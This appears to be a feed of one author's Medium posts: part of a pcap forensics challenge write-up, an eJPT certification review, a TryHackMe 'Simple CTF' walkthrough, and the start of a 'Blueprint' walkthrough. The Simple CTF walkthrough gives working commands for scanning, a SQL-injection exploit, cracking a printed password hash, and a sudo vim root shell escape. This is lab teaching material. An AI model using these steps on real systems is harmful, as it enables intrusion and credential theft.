question we can use the NetworkMiner but through analysis we can find more robust evidence for the Gateway IP.<strong> There is one legit method to identify a gateway in pcap files.</strong></p><p>We need to check the destination MAC address of connections to an external network (internet). If there is the same MAC address for several different destination IP addresses, that’s most certainly the router/gateway. (<a href="https://osqa-ask.wireshark.org/questions/32795/find-network-gateway-and-addresment-type-with-a-network-capture/">Source</a>)</p><p>Lets see how we do this. First we need check the destination MAC address from connections of the LAN network 172.16.0.0/24 to external networks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1006/1*e2aHpQ7DTTirqRcfpcfx0A.png" /><figcaption>Check the filter</figcaption></figure><p>Now lets check the destination mac address for 172.16.0.108, 172.16.0.109, 172.16.0.101 and 172.16.0.103</p><p>We check several packages from 172.16.0.103. We can see the destination mac is the same for all the external IPs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1006/1*cy3GykHSeJoR-NSh43hwEg.png" /></figure><p>We check several packages from 172.16.0.109. We can see the destination mac is the same for all the external IPs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1006/1*IBDZOrhl96vFXiAEL8nsUg.png" /></figure><p>There is no record of traffic from 172.16.0.101 to external networks and all the traffic from 172.16.0.108 is to 224.0.0.251 which is is reserved for multicast DNS. So from the traffic of 172.16.0.103 and 172.16.0.109 we can see that the destination mac address is the same <strong>00:90:7f:80:9e:b9</strong>. If we search in the pcapng file or in Network Miner(easier) we can find the IP belonging to <strong>00:90:7f:80:9e:b9.</strong></p><h4>Question 7</h4><p>We can find this IP from the png file that were provided from the challenge.</p><h4>Question 8</h4><p>From the png file we know that 172.16.0.109. Lets check the traffic to external networks of 172.16.0.109.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/989/1*hohaGh08CP9fbntzTbtOhg.png" /></figure><p>There are a lot of IPs but some of the are from legit sites like nasa.gov. We can use wireshark settings to resolve IP addresses to sites name so we can search for IP without name resolution. But, why? Because there is a chance that the CNC server will not resolve to anything. To do this we go Edit -&gt; Preferences -&gt; Name Resolution and we tick the Resolve Network (IP) Addresses box.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/989/1*c5T4c_d4qyVFUZBp2kY1Rg.png" /></figure><p>After this step there are just 2 IPs without name resolution 204.95.26.216 and static.xxxx… . We can check the HTTP traffic for both of these IPs and trust me one of them has a very suspicious traffic. So that’s the CNC server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/989/1*JL5EVvGk2Ob38uP3ELcHCQ.png" /></figure><h4>Question 9</h4><p>After finding the the CNC server we can filter the HTTP traffic for the CNC server. Inside this traffic we can search of .bin files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/989/1*MoOdbViD4xdg4dnB_CV6Kw.png" /></figure><h4>Question 10</h4><p>For this question we are going to user Network Miner because Network Miner has a dedicated tab called Credentials. Through there we can search of the asked password the given time. Just remember you need to convert EST time to UTC.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/989/1*x_XgASaSTXa7aTVO0wrT2A.png" /></figure><h4>Question 11</h4><p>This question is even easier. Through Network Miner we search for the giver password and we can find the UTC time.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/989/1*7IXn7LvaqSjuhO7bbQWQaA.png" /></figure><h4>Question 12</h4><p>In WireShark we can make a filter with the given destination port. First lets try tcp ports.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/989/1*LkylC6Lj_mTJSDssPewWtQ.png" /><figcaption>tcp.dstport == 31708</figcaption></figure><p>Nothing is nothing. What a bad luck. Lets try udp ports.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/989/1*LC2BQNrfws1A3AF6tl12gg.png" /></figure><p>That’s better. So we have our answer.</p><h4>Question 13</h4><p>Back to Wireshark we will search for the term sysinfo.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*VY-832guDw-hX0PxQXG-OA.png" /></figure><p>After finding a packet containing sysinfo we can dig into this information and we will find the answer.</p><h4>Question 14</h4><p>From Wireshark we just need to find frame number 3897.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1004/1*JMWspVlepOXCSGbwJLl7Qg.png" /></figure><p>Inside this frame we can find the token’s value.</p><h4>Question 15</h4><p>Now we must check the downloaded file from the Wordpress site (172.16.0.108). To do this we go Statistics -&gt; HTTP -&gt; Requests and we apply the filter ip.addr == 172.16.0.108</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/761/1*wmQ0L5sKHxfa3FZ6usoEfg.png" /></figure><p>Looking through the requests there is a suspicious filed downloaded named unimportant.tar.gz. Lets search for this file in pcapng.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/993/1*qUNXtB6QhaEIcVY-iS8Qqg.png" /></figure><p>Inside the Header User-Agent is a well known tool for downloading files.</p><h4>Question 16</h4><p>We know that 172.16.0.109 is compromised by the png files that was provided to us. So we can search through the traffic of 172.16.0.109. But what do we need to search for? To launch a program or a bot you need to have a specific kind of file like an exe or msi file. So we can try to search for those files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/984/1*DX5FyHdyffAghCSyr7xdFA.png" /></figure><p>Searching for .exe we can find 2 files. One of them never got downloaded. So the other one is the answer. If we search for msi file, there is nothing.</p><p>Questions 17–20 we must find the right commands on volatility. I will not present these questions right here because in the current article I want to focus on analysis skills and techniques rather than just running commands. If you find yourself struggling with volatility, please let me a comment right bellow and I will add these questions to current article.</p><p>I am deliberately not showing all the answers because I want you to learn the methods and not just blindly copy paste the values. Also you may have notice that I am not going into so much theory of why I am doing certain things. If there is anything that you need help please comment and I will try to explain it. If it’s a topic that needs further explanation I will make a separate article about it.</p><p>I hope I helped you learn something new. If you like the article please consider to CLAP it!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4468dd537074" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Honest eJPT Review]]></title>
            <link>https://medium.com/@n3phel1m/honest-ejpt-experience-d2482e5f7ef6?source=rss-93ec4f7b33c3------2</link>
            <guid isPermaLink="false">https://medium.com/p/d2482e5f7ef6</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ejpt]]></category>
            <category><![CDATA[information-technology]]></category>
            <category><![CDATA[information-security]]></category>
            <dc:creator><![CDATA[n3phel1m]]></dc:creator>
            <pubDate>Tue, 02 Aug 2022 10:04:12 GMT</pubDate>
            <atom:updated>2022-08-03T08:08:27.245Z</atom:updated>
            <content:encoded><![CDATA[<p>Recently I got my eJPT v1.0 certification at my first try and here it is an <strong>HONEST </strong>and <strong>REAL </strong>review. The reason that I write my experience is because I read a lot of reviews about the preparation/exams of eJPT and most of them depict them as a very easy and intuitive procedure. eJPT preparation/exams are <strong>neither hard nor easy</strong>. So if you struggling with your preparation, you are not alone.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/1*oU6bn5zzgVSHKE7FIGn14w.png" /><figcaption>My certification !</figcaption></figure><h3>What is eJPT ?</h3><p>Quoting the <em>Overview </em>from <a href="https://elearnsecurity.com/product/ejpt-certification/">eLearnSecurity</a> site.</p><blockquote>The eLearnSecurity Junior Penetration Tester (eJPT) is a 100% practical certification on penetration testing and information security essentials. By passing the exam, a cyber security professional proves to employers they are ready for a rewarding new career.</blockquote><p>I encourage you to visit the site so you can learn more about it but here it’s a resume.</p><p>eLearnSecurity Junior Penetration Tester (eJPT) it’s indeed a practical certification. This means that the eLearnSecurity will set up an exam scenario and you must test it for penetration vectors according to some multiple choice questions. If you get a score 75% or above you get your certificate.</p><h3>How to prepare for the exams</h3><p>One of the benefits of eJPT is that eLearnSecurity has organized all the necessary material on <a href="https://my.ine.com/">INE</a> for <strong>FREE</strong>. This means that you can study all the material for free in an organized manner. The learning path that you must follow is the <a href="https://my.ine.com/CyberSecurity/learning-paths/a223968e-3a74-45ed-884d-2d16760b8bbd/penetration-testing-student">INE-Penetration Testing Student</a>. The path includes 3 modules:</p><ul><li>Penetration Testing Prerequisites</li><li>Penetration Testing: Preliminary Skills &amp; Programming</li><li>Penetration Testing Basics</li></ul><p>There is a chance that you see a 4th module named <em>eJPT Exam Preparation</em>. This module at the time of writing is not available for studying but if you find it available you certainly need to check it out.</p><p>Everything you need to know about the eJPT are in this learning path.</p><p><strong>Is INEs’ learning path enough?</strong></p><p>Now I am going to state <strong>my opinion</strong> about INEs’ learning path. I believe that the learning path is not enough for someone <strong>COMPLETELY NEW</strong> to cyber security. Before starting my preparation for eJPT I have spent month training on <a href="https://tryhackme.com/">TryHackMe</a>. If I did not have any prior experience, the preparation would have been so much harder for me. Some of the labs seems very difficult because they do not follow the prior theory and you need to think out of the box to solve it. There is nothing wrong with thinking out of the box(in fact is a necessity in penetration testing afterwards), but for someone completely new this is overwhelming and probably going to discourage a lot of students. If you don’t feel overwhelmed from INEs’ learning path, keep going on your pace.</p><p><strong>How to study if you are struggling</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*zWjfzQOzcFsOeckO" /><figcaption>Photo by <a href="https://unsplash.com/@sambourke?utm_source=medium&amp;utm_medium=referral">Samuel Bourke</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>If you are struggling to understand the material I can give you some tips that helped me a lot.</p><ul><li>Keep notes of every Lab, video and slides. Everything you do not understand note it down and search it afterwards. There is a lot of material on google so you will find an alternative explanation on the subject you do not understand.</li><li>Use external sources like TryHackMe, HackTheBox, Youtube etc for extra training.</li><li>Give time to yourself to understand the topics. It’s not so easy as many articles about eJPT tend to write.</li><li>Practice, Practice, Practice, Practice…</li></ul><h3>Are eJPT exams hard?</h3><p>The eJPT exams have some very important benefits</p><ul><li>You have 72 hours to complete your exam scenario. This mean that you can take a break anytime.</li><li>You are allowed to have notes, review the INEs’ material, search on google etc. It’s an open book examination.</li><li>You can restart the exams scenario anytime.</li><li>If you do not pass the exams at your first try you can take the exams one more time for free.</li></ul><p>With all of these benefits there is no reason to stress about it. <strong>BUT…</strong></p><p>This part of the article is the main reason I decided to write about eJPT. If you google “eJPT review” or “eJPT exams” you are probably going to end up at an article that says “eJPT exams are easy”. Let me say it again, eJPT exams are <strong>neither hard nor easy. </strong>It’s a junior level certificate it cannot be very hard but you must at least prove that you know the basics of penetration testing. There is nothing wrong with getting stuck in your exams. If you browse the subreddit of eLearnSecurity you probably gonna find a lot of posts asking for help with eJPT. I also had problem in my exams with openvpn and got stuck on a subject for about 2 hours. So if you struggle during your exams it’s normal, there is no reason to panic. Keep calm review your notes, review your material and I am sure that you going to make it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/675/1*lf_zXoI50ofeUTRE06pQwA.png" /><figcaption>Some random examples</figcaption></figure><p>I do not want to frighten you about eJPT. I just want you to know that you should be serious about your preparation. If you study all the material from INEs’ learning path, keep notes and doing some extra training on other sites you will be ready and you will succeed at your exams. I am not allowed to disclose any information about the inside of the exams but everything you need to know it’s in INEs’ learning path. If you feel comfortable with the labs you surely gonna do great at the exams.</p><h3>Conclusion</h3><p><strong>Get well prepared and you will succeed</strong>. The main reason I wrote this article is because most of the articles about eJPT tend to show that is a very easy certificate. My experience was different. It’s an easy certificate if you are well prepared and focused.</p><p>If you liked this article you can follow my on Twitter -&gt; <a href="https://twitter.com/n3phel1m">https://twitter.com/n3phel1m</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d2482e5f7ef6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Simple CTF-TryHackMe[CTF Walkthrough]]]></title>
            <link>https://systemweakness.com/simple-ctf-tryhackme-ctf-walkthrough-451cb6361405?source=rss-93ec4f7b33c3------2</link>
            <guid isPermaLink="false">https://medium.com/p/451cb6361405</guid>
            <category><![CDATA[python]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[walkthrough]]></category>
            <dc:creator><![CDATA[n3phel1m]]></dc:creator>
            <pubDate>Sat, 26 Mar 2022 22:14:34 GMT</pubDate>
            <atom:updated>2022-08-03T08:08:59.573Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*S_q4FdBZ8toOrVA8" /><figcaption>Photo by <a href="https://unsplash.com/@lukash?utm_source=medium&amp;utm_medium=referral">Lukas</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>So you are trying to solve the <em>Simple CTF</em> challenge from <a href="https://tryhackme.com/">TryHackMe</a> and maybe you end up realizing that is not so <em>Simple </em>after all. Maybe it’s <em>Simple</em> for anyone who have already done 40–50 CTF challenges. Fear not my friend I am going to walk you through. In this article I am going to present <strong>2 different methods to crack the hash(question no. 5)</strong>. Initially with the help of<strong> John The Ripper </strong>tool and secondly with<strong> our own python script.</strong></p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2Fl0MYHIdCEZScBCpgs%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2Fl0MYHIdCEZScBCpgs%2Fgiphy.gif&amp;image=https%3A%2F%2Fi.giphy.com%2Fmedia%2Fl0MYHIdCEZScBCpgs%2Fgiphy.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="244" frameborder="0" scrolling="no"><a href="https://medium.com/media/263e9688a097358117a84321934e8c7a/href">https://medium.com/media/263e9688a097358117a84321934e8c7a/href</a></iframe><h3>[Stage 1] Enumeration/Reconnaissance</h3><p>From this stage we are going to be able to answer <strong>questions 1-4</strong>.</p><p>Lets start with <strong>nmap. </strong>Of course you can write your own nmap command but for most CTFs this exact command seems to work perfect.</p><pre>sudo nmap -sS -sV -sC -vv -T4 -Pn [targetMachineIp]</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/423/1*z1Qzv7MAGJY5Mlh5CZ6qZQ.png" /></figure><p>I am presenting only a part of the results. We can see ports 80,21 and 2222 are open. Ports 80 and 21 are under port 1000 so you can answer <strong>question 1</strong>. Also from the results of the nmap we can see the service running on the higher port (port 2222) and now you can answer <strong>question 2</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/761/1*_yQ9JuU-4ZA-bwb5WdntYQ.png" /><figcaption>A part o nmap scan</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/810/1*FuhZAbV4bj9IE44nlyXISw.png" /><figcaption>I am not going to reveal the service yet…</figcaption></figure><p>From the results of the nmap scan we can see port 21 has an FTP service and port 80 has an HTTP service. Lets investigate these 2 ports.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/630/1*quXiJmvyP1dMa9L25O-yvA.png" /></figure><h3>Investigating port 21/FTP service</h3><p>From the above results we can see that “Anonymous FTP login allowed” so lets login.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/429/1*Ln38Y_vLSs0QglBaCluxjQ.png" /></figure><p>Searching in the FTP server we can find a <em>pub </em>directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/371/1*7Bq1C4-R9S0MURT9v_QXyg.png" /></figure><p>Inside the <em>pub </em>directory we have a file named “ForMitch.txt”. Let’s download it so we can read it, it may contain useful information!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*zQ6xSF1I4A3xrTjqimgl6A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tnpT4W3UKaSZebmt7GBMfQ.png" /></figure><p>Hmm nothing special but we know that “mitch” has a crackable password. Let’s continue on port 80.</p><h3>Investigating port 80/http service</h3><p>Accessing port 80 through Firefox browser we have an “Apache2 Ubuntu Default Page”. Nothing special.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3jrvjN25d5Sq-POnb_8rJQ.png" /></figure><p>Lets run a directory enumeration tool like gobuster to search for any hidden directories.</p><pre>gobuster dir -u <a href="http://targetmachineip/">http://targetMachineIp</a> -w /usr/share/wordlists/dirb/gib.txt -x php,txt,html </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/866/1*YWCjecYyg2ftuGxVdQASrg.png" /></figure><p>BULLS EYE! Gobuster found <em>robots.tx</em>t and <em>simple</em> directories. Lets search these directories. First <em>robot.txt</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/767/1*dJYWyAnfw2JUQY51Oddfaw.png" /></figure><p>We can see that the <em>robots.txt </em>disallow the crawling of User-agents on the <em>/openemr-5_0_1_3</em> directory(you can learn more about robots.txt <a href="https://developers.google.com/search/docs/advanced/robots/create-robots-txt">here</a>). Does this directory even exits?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pioFgHVlP8v5b7O6tf7RoA.png" /></figure><p>It seems not. Lest now dive into <em>simple</em> directory and if we do not find anything interesting we can go back to robots.txt and examine the ”openemr” more.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iQc7eWGwvAq-rwQMMOsVTA.png" /></figure><p>Wow 😵 we have a full page here. Lets investigate this page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_Vw9mglB6ytdpS_8Cyy-Vw.png" /></figure><p>From the above image we can see that there’s a link on “If this is your site click here to login” that might direct us on a login portal. I N T E R E S T I N G. Click on it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rL3tKTL-5Otpix8qBu609g.png" /></figure><p>Yeah we were right. We have found a login portal. That’s great! Now let’s search for a possible exploit on CMS Made Simple. From the /<em>simple </em>directory we can also see the version.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/386/1*ULiXGsExmnON3NUEsgdc7Q.png" /></figure><p>Maybe there is an exploit for this. Of course we are going to use Google!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/771/1*8ur3WU24XktiKH-rTyEa-w.png" /></figure><p>From the first result we have a CVE from MITRE. That’s the answer for <strong>question 3</strong>. If we click on the link we can see more information about this CVE. The description give us the answer for <strong>question 4</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*rLggXSzAmCbZ-AUmrpIDsw.png" /></figure><p>Lets summarize what we have. We know that an exploit exist for the CMS Made Simple 2.2.8 and that “mitch” has a crackable password. But we don’t have his password….yet 😏</p><h3>[Stage 2]Exploitation</h3><p>Googling the exploit we can find it’s EDB-ID.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W44ZJhq4V2DBpF08PzM8TQ.png" /></figure><p>Then we can search for this exploit on our kali machine with <em>searchploit</em>.</p><pre>searchsploit cms 2.2.8</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/673/1*bF7t5_Bs7TVxr7bq1T6sKA.png" /></figure><p>The exploit exists so we can use it. We can copy/paste it on our home directory.</p><pre>searchsploit -m 46635.py</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/540/1*G-aF56lZ1lipEtZ-gxD_bQ.png" /></figure><p>Open the script with vim to so we can read it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9Hf4buzodGJ91yM9FItcGQ.png" /></figure><p>The script is quite complex, let alone for people with no experience with python and time-based sqli exploitation. But the only thing that matters here it’s how we can use it. This is simple, we only need to run the script with the <em>-u</em>, <em>-w</em> and-<em>-crack</em> parameters. It is time use the exploit!</p><pre>python3 46635.py -u <a href="http://10.10.142.158/">http://</a>targetMachineIp --crack -w /usr/share/wordlists/rockyou.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/737/1*qW3d0TdVDNx-6VZiMranVw.png" /></figure><p>Wow what’s this? A SyntaxError?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/840/1*upW59f-Y7XUCS92jAP70tA.png" /></figure><p>Fear not my friend it’s just wrong syntax we just need to enclose in parentheses all the <em>print </em>functions. Like the image below. But remember we must enclose <strong>ALL THE PRINT FUNCTIONS NOT JUST THE ONES SHOWN BELOW</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/937/1*4HsgW8rpSVndUuzxGnwLtg.png" /></figure><p>And then launch the script again</p><pre>python3 46635.py -u <a href="http://10.10.142.158/">http://</a>targetMachineIp --crack -w /usr/share/wordlists/rockyou.txt</pre><p>That’s right, the script is working now! Let it finish.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/416/1*OOfVJbaKwuJn1gunFhd-Bg.png" /><figcaption>It is working!</figcaption></figure><p>Wow an error again when the script tries to crack the password. But we have several information available. Salt, username, email and the something with the word “Try” in the beginning.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/937/1*nhaK4rqGKyijDMfqhgSnEA.png" /></figure><p>To be certain about our result lets run the script without the <em>-w</em> an<em>d --crack</em> parameters because the errors comes from cracking the password.</p><pre>python3 46635.py -u <a href="http://10.10.142.158/">http://</a>targetMachineIp </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/436/1*Lqk7fC8msvM4I7PU2YrwIQ.png" /></figure><p>In conclusion we have the salt, username, email and password.</p><h4>Crack the hash with John The Ripper</h4><p>To be able to crack the hash with John we need the format of this hash, especially here that the hash has salt. But where can we find this? If we look carefully inside the script we can find the format.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/578/1*T8YRl5KJkDoEgzrIZqEGiw.png" /></figure><p>The format is MD(salt + password). Now we can use john to crack the password. First we need to create a txt file with the format <em>HASH$SALT</em>.</p><pre>0c01f4468bd75d7a84c7eb73846e8d96$1dac0d92e9fa6bb2</pre><p>Time to use John.</p><pre>john -form=dynamic=&#39;md5($s.$p)&#39; --wordlist=/usr/share/wordlists/rockyou.txt hash.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/849/1*BzKNMrssg0zzoZwvBzn9iQ.png" /></figure><p>And like that youhave the answer for <strong>question 5</strong>.</p><h4>Crack the hash with Python</h4><p>I know scripting sounds scary but trust me on this, it’s easier than you think just follow my steps.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2FwGEymBvo6FUlR9bbda%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2FwGEymBvo6FUlR9bbda%2Fgiphy-downsized-large.gif&amp;image=https%3A%2F%2Fmedia4.giphy.com%2Fmedia%2Fv1.Y2lkPTc5MGI3NjExaTRiNXl5MnVmcm5nMnV2amtwMjVyMGtnaWt1N3dzOWJwb2FwdDRudyZlcD12MV9naWZzX2dpZklkJmN0PWc%2FwGEymBvo6FUlR9bbda%2Fgiphy.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="435" frameborder="0" scrolling="no"><a href="https://medium.com/media/9259ee2642a064b41f2acc2bbb07450d/href">https://medium.com/media/9259ee2642a064b41f2acc2bbb07450d/href</a></iframe><p><strong>[Step 1]</strong> We are going to copy/paste the <em>crack_password()</em> function from the previous exploit(46635.py) to our script along with the necessary libraries.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/724/1*m1y_HJvTx4ebNXVGnlSBkw.png" /></figure><p><strong>[Step 2]</strong> Paste the password, salt(the ones that we found earlier) and the wordlist path to the corresponding variables<em> password</em>, <em>salt </em>and <em>wordlist. </em>Insert<em> </em>an empty string<em> </em>to the<em> output</em> variable. Also remove <em>beautify_print_try(line) </em>because we do not have this function on this script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/675/1*22BK5qD37ifQkBqlPNB5zA.png" /></figure><p><strong>[Step 3]</strong> Add the following arguments to the <em>open </em>function in order to work correctly with the wordlist and python3.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/684/1*n7D38gukEZSPt73AdVZNbA.png" /></figure><p><strong>[Step 4] </strong>Last step before we crack the password with our own(kinda) python script. Add the following lines to the<em> hashlib.md5</em> function in order to work properly with python3. Add a <em>print </em>to the end of this function so we can view the output. Also we need to add <em>crack_password()</em> at the end of the script to run the function.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/832/1*X0rOQsSXyfqoVr26QfvqYQ.png" /></figure><p>We are ready to run the script! Run it!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/259/1*YKEAYRtnWVJ-fNH4GyjjKg.png" /></figure><p>We have the same result as with John The Ripper and also the answer of <strong>question 5</strong>.</p><h4>Let’s continue</h4><p>From the nmap scan we know that there is an ssh servie(yeah I revealed the super secret service) so lets try to access the target machine with these credentials through ssh.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/328/1*o-U1bkg_Am8o3qjG9_G9EQ.png" /></figure><p>Insert the password that we found before and… we have access. Also you have the answer for<strong> question 6</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/585/1*H7mxPNXekgmckQ9tambmyA.png" /></figure><p>User flag is in the current working directory. Now you can answer <strong>question 7</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/351/1*d2zvR_sPbpCGYBxMoloO_Q.png" /></figure><p>Let’s check the home directory for another user. Now you can answer <strong>question 8</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/184/1*Ux6S2SQjsjGJ12Kvjz4Zlg.png" /></figure><h3>[Stage 3]Privilege Escalation(Linux)</h3><p>First thing we can do is to check what binaries our current user has sudo privileges.</p><pre>sudo -l</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/470/1*NhD555l98g3hVlcm_QSWbw.png" /></figure><p>Woo that was easy. We have root privileges on vim binary and I tell you…this is a bad thing for the target machine. Searching on <a href="https://gtfobins.github.io/">gtfobins</a> we can find instructions on how to use vim with sudo to escalate our privileges. We can do this with the following command</p><pre>sudo vim -c &#39;:!/bin/sh&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/320/1*7lzxW0-KwFfgOx9QoQRrUQ.png" /></figure><p>So we did it, <strong>YOU </strong>did it. You are the root of this machine, the owner. With <em>find</em> command we can find the root flag. Now you can answer <strong>question 9</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/381/1*rUor6QSPG1ByMP2K4_Znvw.png" /></figure><p><strong>Congratulations </strong>if you followed this walkthrough you POWNED the machine, you made your own script for cracking the hash, you used a time-based sql injection script and much more. I hope you like it and I would love to read your feedback.</p><p>If you liked this article you can follow my on Twitter -&gt; <a href="https://twitter.com/n3phel1m">https://twitter.com/n3phel1m</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=451cb6361405" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/simple-ctf-tryhackme-ctf-walkthrough-451cb6361405">Simple CTF-TryHackMe[CTF Walkthrough]</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Blueprint-TryHackMe[CTF Walkthrough]]]></title>
            <link>https://systemweakness.com/blueprint-tryhackme-ctf-walkthrough-c71c27d6e652?source=rss-93ec4f7b33c3------2</link>
            <guid isPermaLink="false">https://medium.com/p/c71c27d6e652</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[technology]]></category>
            <dc:creator><![CDATA[n3phel1m]]></dc:creator>
            <pubDate>Wed, 16 Mar 2022 14:15:55 GMT</pubDate>
            <atom:updated>2022-08-03T08:09:49.001Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*xV3fqQ87M7AnjwTV" /><figcaption>Photo by <a href="https://unsplash.com/@lxrcbsv?utm_source=medium&amp;utm_medium=referral">Алекс Арцибашев</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>Today I am going to walk you through a beginner level CTF challenge from <a href="https://tryhackme.com/">TryHackMe</a> “Blueprint”. The goal is simple,”Hack into this Windows machine and escalate your privileges to Administrator.” quoting the description of this challenge from TryHackMe. <strong>For this write up we are not going to use Metasploit</strong>, because I want to give a different and more realistic approach. <strong>Also I will mention some things that did not work </strong>because I believe that is <strong>equally useful </strong>to know what does not work as it is to find what works. So without further ado, start your target machine and lets dive into this challenge!</p><h3><strong>[Stage 1]</strong> Enumeration/Reconnaissance</h3><p>The first and very important step is Enumeration and Reconnaissance. We need to have as much information as possible to be able to hack into this machine. First we are going to use <strong>nmap </strong>to scan the ports of the target.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/436/1*gJDOWMyl03ZIzsbYW6rAeA.png" /></figure><pre>sudo nmap -sS -sV -sC -vv -T4 -Pn [targetMachineIP]</pre><p>The results of the scan shows 13 open ports</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/375/1*DJIRCLIkM9V0oWd4DkusTA.png" /></figure><p>and after the service scan(-sV) we have the following details about these ports</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/861/1*uHrhgYIAT2GfXU8hK7U8tA.png" /></figure><p>So we can see that at the ports 80, 443 and 8080 there is an http or ssl/http service. This mean that we can connect to these ports from our browser and see what content exists.</p><h3><strong><em>Investigating port 80/http service</em></strong></h3><p>Accessing port 80 through Firefox browser 